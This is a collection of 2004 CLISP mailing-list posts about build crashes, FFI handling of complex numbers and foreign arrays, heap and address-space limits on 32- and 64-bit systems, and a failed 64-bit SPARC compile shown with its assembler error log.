  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8
 =

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2003
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;; Loading file defseq.lisp ...
;; Loaded file defseq.lisp
;; Loading file backquote.lisp ...
;; Loaded file backquote.lisp
;; Loading file defmacro.lisp ...make: *** [interpreted.mem] Parcalanma
Arizasi (means 'segmentation fault')


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> * Ruhan Alpaydin <ehuna.nycnlqva@fgnasbeqnyhzav.bet> [2004-05-01 00:23:49 +0300]:
>
> I get the following error during compilation of clisp-2.31-1.

latest is 2.33.

> My system is a HP Linux box running Fedore Core 1.0.

this is a known problem with some FC1 installations.
you probably also cannot build Emacs (crash on unexec).

it might be helpful if you could try to describe your system in more
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I installed 2.33 but the problem remains.


Here is the specification of the computer :

* Intel (R) Pentium 4 CPU 2.6 GHz
* Video card : Intel 865
* MemTotal : 247412kB
and Linux version : 2.4.22-1.2115.nptl

Sincerely,

-Ruhan


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> > * Ruhan Alpaydin <ehuna.nycnlqva@fgnasbeqnyhzav.bet> [2004-05-01 00:2=
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> > I get the following error during compilation of clisp-2.31-1.
> =

> latest is 2.33.
> =

> > My system is a HP Linux box running Fedore Core 1.0.
> =

> this is a known problem with some FC1 installations.
> you probably also cannot build Emacs (crash on unexec).
> =

> it might be helpful if you could try to describe your system in more
> details, e.g., cpu/ram/video &c.
> =

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Hi, 
 
Is it possible to use complex numbers with FFI? What I want to do is to pass 
complex numbers from LISP to C code (whatever the format received by the C 
function), but I don't know if it's possible, and how to declare my FFI 
function's arguments (function would be located in a shared lib, and declared 
with def-call-out). My goal is to access BLAS and LAPACK fortran routines from 
LISP. I know there's MatLisp, but AFAIK it doesn't support CLISP. 
 
Thanks. 
Michael. 



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Hi,

Michael Goffioul asks:
>Is it possible to use complex numbers with FFI? What I want to 
>do is to pass 
>complex numbers from LISP to C code (whatever the format 
>received by the C function)

Since there's no standard format for complex numbers in C, the CLISP FFI doesn't provide standardized means to pass such objetcs.
My guess is that a good enough approach is to pass real and imaginary part separately, each using a known format (e.g. double-float) and COERCE to this chosen format on the Lisp side.

Is there anything else that would make you happy?

You could also define a C-STRUCT {double real, imag}, write two functions to convert Common Lisps COMPLEX numbers to that structure and vice-versa and pass along FFI pointers to that a structure.
You should then investigate DEF-C-TYPE and DEF-C-STRUCT and the constructors automatically generated by the FFI. Probably this approach looks like a better design than the above.

Don't the library you want to interface to provide some representation of complex numbers already?

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	Jorg.


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> Michael Goffioul asks:
> >Is it possible to use complex numbers with FFI? What I want to=20
> >do is to pass=20
> >complex numbers from LISP to C code (whatever the format=20
> >received by the C function)
>=20
> Since there's no standard format for complex numbers in C,=20

"complex" type modifier is beginning to appear (I don't know if
it's a recent standard from *C99* or a gcc extensions), but I
don't to which memory model it corresponds. Anyway, I guess that
mapping a LISP complex object to double* is reasonable.

> the CLISP FFI doesn't provide standardized means to pass such objetcs.
> My guess is that a good enough approach is to pass real and=20
> imaginary part separately, each using a known format (e.g.=20
> double-float) and COERCE to this chosen format on the Lisp side.
>=20
> Is there anything else that would make you happy?

Well, yes: a MatLisp version that work with CLISP... :-)

>=20
> You could also define a C-STRUCT {double real, imag}, write=20
> two functions to convert Common Lisps COMPLEX numbers to that=20
> structure and vice-versa and pass along FFI pointers to that=20
> a structure.
> You should then investigate DEF-C-TYPE and DEF-C-STRUCT and=20
> the constructors automatically generated by the FFI. Probably=20
> this approach looks like a better design than the above.
>=20
> Don't the library you want to interface to provide some=20
> representation of complex numbers already?

The target math library is BLAS/LAPACK, which are FORTRAN libraries.
In FORTRAN, complex numbers are represented as real and imag part
next to each other: for example, a single complex number can be mapped
to a real array of 2 elements (this would corresponds the structure
you mentionned above).
Writing conversion routines is a possibility, but I fear that efficiency
would be low, especially if you want to convert large complex arrays
(if you need to do it in a loop). Is there a way to make C code access
LISP variables directly (without copying)?

Michael.


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Goffioul Michael wrote:
>Writing conversion routines is a possibility, but I fear that=20
>efficiency
>would be low, especially if you want to convert large complex arrays
>(if you need to do it in a loop). Is there a way to make C code access
>LISP variables directly (without copying)?

AFAIK, CLISP doesn't have specialized float arrays anyway (IIRC).
Sam/Bruno, please correct me if my memory is wrong.

You could in theory obtain pointers to Lisp objects. This is really a =
dangerous thing to do in the presence of a moving GC. While some code =
may work for you, somebody else using your code but also custom =
SIGALARM handlers may trigger GC (not that installing a Lisp-level =
SGIALARM handler is supported anyway, AFAIK). FFI callbacks may also =
trigger GC.

That's why in the CLISP FFI everything is copyied via the stack to =
fixed locations (next to the assumption that it's preferrable to let =
foreign code corrupt the stack than the Lisp heap :).

The best trade-off could be a conversion-routine in C, but I'm not sure =
it would gain much because I believe CLISP's complex numbers use =
unboxed representations anyway, since both real and imaginary can be of =
any real number type, e.g. integer, thus the internal representation is =
certainly not an array of two doubles. Even the C code would have to be =
prepared for conversion via COERCE 'double-float.

I'd suggest you go along a simple solution, bear with copying, and =
investigate whether that really is the performance bottleneck. Gievn =
the speed of many machines, this "good enough" approach has been =
working for many people.

(I could tell you how some of the CLISP modules exhibit poor =
performance, yet nobody ever complained. People are generally happy =
that it just works.)

Regards,
	J=F6rg H=F6hle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-05-07 12:38:59 +0200]:
>
> AFAIK, CLISP doesn't have specialized float arrays anyway (IIRC).
> Sam/Bruno, please correct me if my memory is wrong.

You are right, CLISP does not have specialized float arrays.
It would be relatively easy to add them in the NO_TYPECODES model
(mostly used on 32-bit processors).
It would be next to impossible to add them in the TYPECODES model
(mostly used on 64-bit processors) because of limited number of unused
typecodes.

IMO, it does not make much sense from the performance POV to create
specialized arrays for boxed types because there will be boxing on
every access.

If all you are doing with the arrays is passing them between foreign
routines, you might want to view them as an opaque data type.

I am open to corrections...

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Hi, 
 
I have a problem I don't understand. I defined those 2 C-functions: 
 
int myfun3( int *a, int len ) 
{ 
·   int i; 
·   for ( i=0; i<len; i++ ) 
·   ·   a[ i ] = i; 
·   return 0; 
} 
 
int myfun4( char *a, int len ) 
{ 
·   int i; 
·   for ( i=0; i<len; i++ ) 
·   ·   a[ i ] = ( char )'a'+i; 
·   return 0; 
} 
 
and I compiled them in a shared lib: libmyfun.so. In LISP, I then use 
the following calls: 
 
(def-call-out myfun3 
  (:library "libmyfun.so") 
  (:arguments (name (c-ptr (c-array-max int 256)) :out :alloca) 
    (len int)) 
  (:name "myfun3") 
  (:return-type int) 
  (:language :stdc)) 
 
(def-call-out myfun4 
  (:library "libmyfun.so") 
  (:arguments (name (c-ptr (c-array-max char 256)) :out :alloca) 
    (len int)) 
  (:name "myfun4") 
  (:return-type int) 
  (:language :stdc)) 
 
Finally I test those 2 functions with code like: 
 
(multiple-value-bind (success name) 
  (myfun3 16) (if (zerop success) name 'failure)) 
(multiple-value-bind (success name) 
  (myfun4 16) (if (zerop success) name 'failure)) 
 
The first call (with integer) returns an empty array, while the second 
call (with char) returns a correctly filled array. The only difference is 
the element type. Did I miss something??? Please, any comment is welcome, 
I'm currently lost. 
 
Thanks. 
Michael. 
 



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> * Michael Goffioul <zvpunry.tbssvbhy@vzrp.or> [2004-05-07 15:13:09 +0000]:
>
> I have a problem I don't understand. I defined those 2 C-functions:=20
>=20=20
> int myfun3( int *a, int len )=20
> {=20
> =C2=B7   int i;=20
> =C2=B7   for ( i=3D0; i<len; i++ )=20
> =C2=B7   =C2=B7   a[ i ] =3D i;=20
> =C2=B7   return 0;=20
> }=20
>=20=20
> int myfun4( char *a, int len )=20
> {=20
> =C2=B7   int i;=20
> =C2=B7   for ( i=3D0; i<len; i++ )=20
> =C2=B7   =C2=B7   a[ i ] =3D ( char )'a'+i;=20
> =C2=B7   return 0;=20
> }=20
>=20=20
> and I compiled them in a shared lib: libmyfun.so. In LISP, I then use=20
> the following calls:=20
>=20=20
> (def-call-out myfun3=20
>   (:library "libmyfun.so")=20
>   (:arguments (name (c-ptr (c-array-max int 256)) :out :alloca)=20
>     (len int))=20
>   (:name "myfun3")=20
>   (:return-type int)=20
>   (:language :stdc))=20
>=20=20
> (def-call-out myfun4=20
>   (:library "libmyfun.so")=20
>   (:arguments (name (c-ptr (c-array-max char 256)) :out :alloca)=20
>     (len int))=20
>   (:name "myfun4")=20
>   (:return-type int)=20
>   (:language :stdc))=20
>=20=20
> Finally I test those 2 functions with code like:=20
>=20=20
> (multiple-value-bind (success name)=20
>   (myfun3 16) (if (zerop success) name 'failure))=20
> (multiple-value-bind (success name)=20
>   (myfun4 16) (if (zerop success) name 'failure))=20
>=20=20
> The first call (with integer) returns an empty array, while the second
> call (with char) returns a correctly filled array. The only difference
> is the element type. Did I miss something??? Please, any comment is
> welcome, I'm currently lost.

note that the first element of the integer array you create in myfun3 is 0.
IIUC, C-ARRAY-MAX is 0 terminated, so as soon as it sees a 0, it thinks
that the array is finished.

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* Joerg-Cyril Hoehle:

> Since there's no standard format for complex numbers in C, the CLISP
> FFI doesn't provide standardized means to pass such objetcs.

ISO C99 adds complex numbers.  C99 support is still evolving in
compilers, though.  However, basic complex arithmetic works nowadays
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Sam Steingold <sds <at> gnu.org> writes: 
 
>  
> > * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr <at> g-flfgrzf.pbz> [2004-05-07 
12:38:59 +0200]: 
> > 
> > AFAIK, CLISP doesn't have specialized float arrays anyway (IIRC). 
> > Sam/Bruno, please correct me if my memory is wrong. 
>  
> You are right, CLISP does not have specialized float arrays. 
> It would be relatively easy to add them in the NO_TYPECODES model 
> (mostly used on 32-bit processors). 
> It would be next to impossible to add them in the TYPECODES model 
> (mostly used on 64-bit processors) because of limited number of unused 
> typecodes. 
>  
> IMO, it does not make much sense from the performance POV to create 
> specialized arrays for boxed types because there will be boxing on 
> every access. 
>  
> If all you are doing with the arrays is passing them between foreign 
> routines, you might want to view them as an opaque data type. 
 
The problem is that arrays are coming from LISP objects and processed 
by underlying FORTRAN code, which usually modifies arrays in-situ. 
Hence it would be more efficient if the FORTRAN/C code could access 
directly LISP memory/data. But I can live with copying... 
 
OTOH, I read with interest a previous post/tutorial in 2003 about 
variable size arrays and how to use them with FFI. It could suit my 
needs, the only problem is that macros like WITH-FOREIGN-OBJECT or 
WITH-C-VAR only accept a single variable (at least that's how I 
understood the doc). Aren't there equivalent for multiple variables? 
 
Up to now, I'm left with code like this: 
 
(use-package "FFI") 
 
(def-call-out c-myfun 
  (:library "libmyfun.so") 
  (:name "myfun5") 
  (:arguments 
    (a c-pointer :in) 
    (la int :in) 
    (b c-pointer :in) 
    (lb int :in)) 
  (:return-type int) 
  (:language :stdc)) 
 
(defun myfun (a b) 
  (let* ((la (length a)) 
         (lb (length b)) 
         (c-a (foreign-allocate (parse-c-type 'int) :count 
la :initial-contents a)) 
         (c-b (foreign-allocate (parse-c-type 'int) :count 
lb :initial-contents b)) 
         (r (c-myfun c-a la c-b lb)) 
         (new-a (foreign-value c-a)) 
         (new-b (foreign-value c-b))) 
    (foreign-free c-a) 
    (foreign-free c-b) 
    (values r new-a new-b))) 
 
Thanks. 
Michael. 
 



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Sam wrote:
> I am loading some data from a huge file and I am getting this error:
> *** - No more room for LISP objects
> top:
>
> Memory: 4096M real, 1749M free, 8192M swap free
>
>   PID USERNAME THR PRI NICE  SIZE   RES STATE   TIME    CPU COMMAND
> 11755 sds        1   0    0 1239M 1235M run   111:15 49.67% lisp.run
>
> I.e., there is enough physical RAM. there are 2 CPUs, so the above
> means that CLISP is running full speed.
> This is a sparc solaris 2.8.

So you have a process that uses 1.2 GB of RAM on a machine with 4 GB address
space? Given that both the OS and CLISP allocate their stuff at arbitrary
address, this is likely to give problems.

> so: what do I do?
> can CLISP allocate more memory?
> what does this message mean?!

I'd try:
1) A clisp build with SPVW_PAGES instead of SPVW_BLOCKS (add
   -DNO_SINGLEMAP -DNO_TRIVIALMAP -DNO_MULTIMAP_FILE -DNO_MULTIMAP_SHM
   to the CFLAGS). This will use malloc for memory allocation, thus perhaps
   reducing the address space problems.
2) Use a 64-bit machine. AMD64 PCs are quite cheap nowadays.

Bruno



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> * Bruno Haible <oehab@pyvfc.bet> [2004-05-10 12:40:04 +0200]:
>
> Sam wrote:
>> I am loading some data from a huge file and I am getting this error:
>> *** - No more room for LISP objects
>> top:
>>
>> Memory: 4096M real, 1749M free, 8192M swap free
>>
>>   PID USERNAME THR PRI NICE  SIZE   RES STATE   TIME    CPU COMMAND
>> 11755 sds        1   0    0 1239M 1235M run   111:15 49.67% lisp.run
>>
>> I.e., there is enough physical RAM. there are 2 CPUs, so the above
>> means that CLISP is running full speed.
>> This is a sparc solaris 2.8.
>
> So you have a process that uses 1.2 GB of RAM on a machine with 4 GB
> address space? Given that both the OS and CLISP allocate their stuff
> at arbitrary address, this is likely to give problems.

why?  there is more free space available than CLISP has already claimed!

>> so: what do I do?
>> can CLISP allocate more memory?
>> what does this message mean?!
>
> I'd try:
> 1) A clisp build with SPVW_PAGES instead of SPVW_BLOCKS (add
>    -DNO_SINGLEMAP -DNO_TRIVIALMAP -DNO_MULTIMAP_FILE -DNO_MULTIMAP_SHM
>    to the CFLAGS). This will use malloc for memory allocation, thus perhaps
>    reducing the address space problems.

does this mean no GENERATIONAL_GC?!
<http://clisp.cons.org/impnotes/memory-models.html>


> 2) Use a 64-bit machine. AMD64 PCs are quite cheap nowadays.

I thought that sparc was a 64 bit machine?

OK, so how much space can CLISP address in TYPECODES and NO_TYPECODES
modes?


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Michael Goffioul wrote:

>The problem is that arrays are coming from LISP objects and processed 
>by underlying FORTRAN code, which usually modifies arrays in-situ. 
There's FFI :in-out for that (for fixed-size arrays only).
You can't still escape copying.

malloc + copy + call + copy back is little different from what
calling a foreign-call-out function would do (except for stack-allocation).

>the only problem is that macros like WITH-FOREIGN-OBJECT or 
>WITH-C-VAR only accept a single variable (at least that's how I 
>understood the doc). Aren't there equivalent for multiple variables? 

This was my initial idea, then I realized that it would make the supporting C code much more complex. Dealing with complexity should be done at the Lisp level, where it's easily expressible. Furthermore, with multiple variables comes the duality of let/let*, i.e. sequential or parallel evaluation. I wasn't going to write two forms.
What's wrong with either
o a nested with-foreign-object
o or a single with-foreign-object using a c-struct of two things?

>Up to now, I'm left with code like this:
It's ok. You have to resort to c-pointer, as my article explained.

"I'm left with" sounds to me like you're missing something?
I believe the code doesn't look much different from what you'd write using UFFI (not that I recommend the UFFI API, but CLISP doesn't offer a high-level API for variable arrays).

Minor points about your code:

o Either use ffi:allocate-deep instead of calling parse-c-type
or stay with foreign-allocate but justify this choice by using (LOAD-TIME-VALUE (parse-c-type 'int)). You'll get a little less computation upon each invocation.

o The code could easily be switched to with-foreign-object.
It will then feel more safe with automatic protection against memory leaks in case someone ^C in the middle.

I still haven't written macro-optimizers for the typical backquote-length case (that would suit your need):
(with-foreign-object (fa `(c-array int ,(length a)) body)
The goal of this optimization would be to eliminate some run-time PARSE-C-TYPE.
It would be the pendant of the :count option to allocate.
Sadly, the current FFI top-level WITH-* macros imply some run-time slow parse-c-type computations while FOREIGN-ALLOCATE with :count may not. Of course, malloc() has other speed implications...

Regards,
	Jorg Hohle.


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>does this mean no GENERATIONAL_GC?!
><http://clisp.cons.org/impnotes/memory-models.html>

>OK, so how much space can CLISP address in TYPECODES and NO_TYPECODES
>modes?

And can these answers (some questions elided) be fed back into that document?




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Sam Steingold wrote:
> > So you have a process that uses 1.2 GB of RAM on a machine with 4 GB
> > address space? Given that both the OS and CLISP allocate their stuff
> > at arbitrary address, this is likely to give problems.
>
> why?  there is more free space available than CLISP has already claimed!

It's about address space. Shared libraries, the executable, the stack,
and the 3 clisp stack/heap areas are randomly scattered over a 4 GB space,
therefore they cannot expand up to 4 GB without colliding with each other.

> > 1) A clisp build with SPVW_PAGES instead of SPVW_BLOCKS
>
> does this mean no GENERATIONAL_GC?!

Yes.

> > 2) Use a 64-bit machine. AMD64 PCs are quite cheap nowadays.
>
> I thought that sparc was a 64 bit machine?

On UltraSparcs, the CPU and the kernel are 64-bit, but most user programs
are 32-bit. I have no idea which compiler settings you can choose to get
a 64-bit mode program.

> OK, so how much space can CLISP address in TYPECODES and NO_TYPECODES
> modes?

TYPECODES: max. 16 MB in 32-bit mode, 4 GB in 64-bit mode.
NO_TYPECODES: the same order of magnitude as the CPU supports.
Therefore I don't recommend TYPECODES here.

Bruno



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> * Bruno Haible <oehab@pyvfc.bet> [2004-05-10 16:35:36 +0200]:
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>> > 1) A clisp build with SPVW_PAGES instead of SPVW_BLOCKS
>> does this mean no GENERATIONAL_GC?!
> Yes.

wouldn't full GC on 2GB kill me?

>> OK, so how much space can CLISP address in TYPECODES and NO_TYPECODES
>> modes?
>
> TYPECODES: max. 16 MB in 32-bit mode, 4 GB in 64-bit mode.
> NO_TYPECODES: the same order of magnitude as the CPU supports.
> Therefore I don't recommend TYPECODES here.

OK, does this mean that on a 64-bit machine I will be able to get 4 GB
of lisp data either with or without TYPECODES?

Can Linux on AMD 64 utilize, say, 64GB of RAM?  1TB?
Can CLISP? (obviously, NO_TYPECODES)
Does anyone here have any experience with CLISP on a Beowulf cluster?

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Sam Steingold wrote:
> wouldn't full GC on 2GB kill me?

Without generational GC, a full GC of 2 GB is likely to take several minutes.
Whether that's a problem, depends on whether your program is interactive
or batch-mode.

> OK, does this mean that on a 64-bit machine I will be able to get 4 GB
> of lisp data either with or without TYPECODES?

That's what I expect, and actually even more than 4 GB.

> Can Linux on AMD 64 utilize, say, 64GB of RAM?  1TB?

I can't say where the AMD64 has its limit. (Remember that some Pentiums
had a maximum of 16 MB cachable area, although in theory they were 32-bit.)
But the virtual address of shared libraries on Linux (0x0000002A95xxxxxx)
indicates that the virtual addresses are not the problem any more.

> Can CLISP? (obviously, NO_TYPECODES)

Yes. At most, you might need some tweaking of the initial heap locations in
spvw.d.

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> * Douglas Philips <qtbh@znp.pbz> [2004-05-10 10:01:44 -0400]:
>
>>does this mean no GENERATIONAL_GC?!
>><http://clisp.cons.org/impnotes/memory-models.html>
>
>>OK, so how much space can CLISP address in TYPECODES and NO_TYPECODES
>>modes?
>
> And can these answers (some questions elided) be fed back into that document?

Bruno, is the following OK?

--- impbyte.xml	06 Feb 2004 11:46:15 -0500	1.44
+++ impbyte.xml	10 May 2004 13:15:59 -0400	
@@ -68,8 +68,19 @@
 
 <section id="memory-models"><title>Memory Models</title>
 
-<para>There are 6 memory models. Which one is used, depends on the
-operating system and is determined at build time.</para>
+<para>There are 6 memory models and 2 object models. Which one is used,
+depends on the operating system and is determined at build time.</para>
+
+<variablelist><title>Object Modes</title>
+<varlistentry><term>TYPECODES</term>
+ <listitem><simpara>Part of the object pointer is used for type bits, which
+   makes type checks faster but results in smaller accessible heap (16MB
+   in 32-bit mode, 4GB in 64-bit mode).</simpara></listitem></varlistentry>
+<varlistentry><term>NO_TYPECODES</term>
+ <listitem><simpara>Allow to address as much heap as the CPU supports,
+   but type check always require dereferencing.
+</simpara></listitem></varlistentry>
+</variablelist>
 
 <variablelist><title>Memory Models</title>
 <varlistentry><term>SPVW_MIXED_BLOCKS_OPPOSITE</term>



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> * Bruno Haible <oehab@pyvfc.bet> [2004-05-10 18:57:56 +0200]:
>
>> Can CLISP? (obviously, NO_TYPECODES)
>
> Yes. At most, you might need some tweaking of the initial heap
> locations in spvw.d.

you gotta be kidding!
I have no idea what you are talking about here.
what exactly will I need to change?!

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Sam wrote:
> Bruno,
> about 2 years ago I asked you these questions:
>
> 1. why does
>        (with-open-file (s "foo" :external-format charset:ascii) (read-line s))
> return a 32-bit and not an 8-bit string?

Because I haven't yet implemented all the possible optimizations that are in
my TODO list.

> 2. why does SPARC prevent HAVE_SMALL_SSTRING?

Does it? The ChangeLog mentions a patch dated from 2004-02-18 that supports
HAVE_SMALL_SSTRING on all kinds of platforms.

> 3. Why do built-in UCS-2 and iconv utf-16 treat odd-length byte arrays
>    differently?

I don't remember there's a good reason for either behaviour.

> 4. Are the porting instructions in unix/PLATFORMS up to date?

Mostly, yes. (But the "at most 4 GB" for 64-bit platforms is not true for
AMD64. There, clisp's imposed limit is currently 2^48 bytes, but could grow
to 2^56 bytes if there is need.)

>    Could you please add a section to doc/impbyte.xml on
>      "How to add new bytecode instructions"
>    (what to modify, what to watch out for, how to test performance
>    hits/improvements &c)

No, I can't. This is an area which requires thought, and cannot be handled in
a "how do I" style FAQ.

But what I can do, is to make exercises (of level >= 30 in Knuth's
convention) regarding things like that.

Exercise 1: Does it make sense to define a new bytecode instruction for
RESTART-CASE? Why? Why not?

Bruno



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>>>>> "Goffioul" == Goffioul Michael <goffioul@imec.be> writes:

    Goffioul> Well, yes: a MatLisp version that work with CLISP... :-)

You could help make that a reality, if it's important to you.  If
you're interested, subscribe to the matlisp mailing lists on
sourceforge.net.

I think there are quite a few people out there who would like such a
thing.

    Goffioul> The target math library is BLAS/LAPACK, which are FORTRAN libraries.
    Goffioul> In FORTRAN, complex numbers are represented as real and imag part
    Goffioul> next to each other: for example, a single complex number can be mapped
    Goffioul> to a real array of 2 elements (this would corresponds the structure
    Goffioul> you mentionned above).
    Goffioul> Writing conversion routines is a possibility, but I fear that efficiency
    Goffioul> would be low, especially if you want to convert large complex arrays
    Goffioul> (if you need to do it in a loop). Is there a way to make C code access
    Goffioul> LISP variables directly (without copying)?

This is certainly possible since this is what Matlisp does.  However,
it does require your Lisp to have a specialized array with
double-float elements that are arranged in one contiguous area, just
like C or Fortran would.  Given this, you only need a routine that can
figure the address of this, and Matlisp would work, once the Matlisp
Fortran FFI is mapped to clisp's FFI.

Ray



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Sam Steingold wrote:
> I have no idea what you are talking about here.
> what exactly will I need to change?!

Some constants in spvw.d lines 2376..2440 in the current CVS.

There I see some code

      #if defined(AMD64) && defined(UNIX_LINUX)
      # Don't use more than 36 address bits, otherwise mmap() fails.

which appears to imply that AMD64 supports virtual addresses up to 64 GB,
and that clisp assigns 1/5th (= 13 GB) to each of the two heaps. This can
be tweaked if there is need to.

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Date: Mon May 10 15:51:05 2004
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> * Bruno Haible <oehab@pyvfc.bet> [2004-05-10 16:35:36 +0200]:
>
>> > 2) Use a 64-bit machine. AMD64 PCs are quite cheap nowadays.
>>
>> I thought that sparc was a 64 bit machine?
>
> On UltraSparcs, the CPU and the kernel are 64-bit, but most user
> programs are 32-bit. I have no idea which compiler settings you can
> choose to get a 64-bit mode program.

gcc -m64
checking for 64-bit SPARC... (cached) yes

gcc -m64 foo.c
file a.out
a.out:          ELF 64-bit MSB executable SPARCV9 Version 1, dynamically linked, not stripped

if I configure with CC="gcc -m64", I get

gcc -m64 -E `if test false = true; then echo '-DASM_UNDERSCORE'; fi` ../../ffcal
l/avcall/avcall-sparc64.S | grep -v '^ *#line' | grep -v '^#' | sed -e 's,% ,%,g
' -e 's,//.*$,,' -e 's,\$,#,g' > avcall-sparc64.s
/bin/sh ./libtool --mode=compile gcc -m64 -x none -c avcall-sparc64.s
gcc -m64 -x none -c avcall-sparc64.s -o avcall-sparc64.o
/usr/ccs/bin/as: "avcall-sparc64.s", line 2: error: .version "01.01" greater tha
n assembler version ""
/usr/ccs/bin/as: "avcall-sparc64.s", line 13: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 15: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 15: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 15: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 15: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 17: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 17: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 19: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 19: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 19: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 19: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 21: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 21: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 22: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 22: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 23: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 23: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 25: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 25: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 26: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 27: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 27: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 29: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 29: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 31: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 31: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 32: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 33: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 33: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 35: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 35: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 37: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 37: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 38: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 39: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 39: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 41: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 41: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 43: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 43: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 44: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 45: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 45: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 47: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 47: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 49: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 49: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 50: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 51: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 51: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 53: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 53: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 55: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 55: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 56: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 57: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 57: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 59: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 59: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 61: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 61: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 62: error: statement syntax
/usr/ccs/bin/as: "avcall-sparc64.s", line 63: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 63: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 65: error: detect global register use
not covered .register pseudo-op
/usr/ccs/bin/as: "avcall-sparc64.s", line 65: error: detect global register use
not covered .register pseudo-op
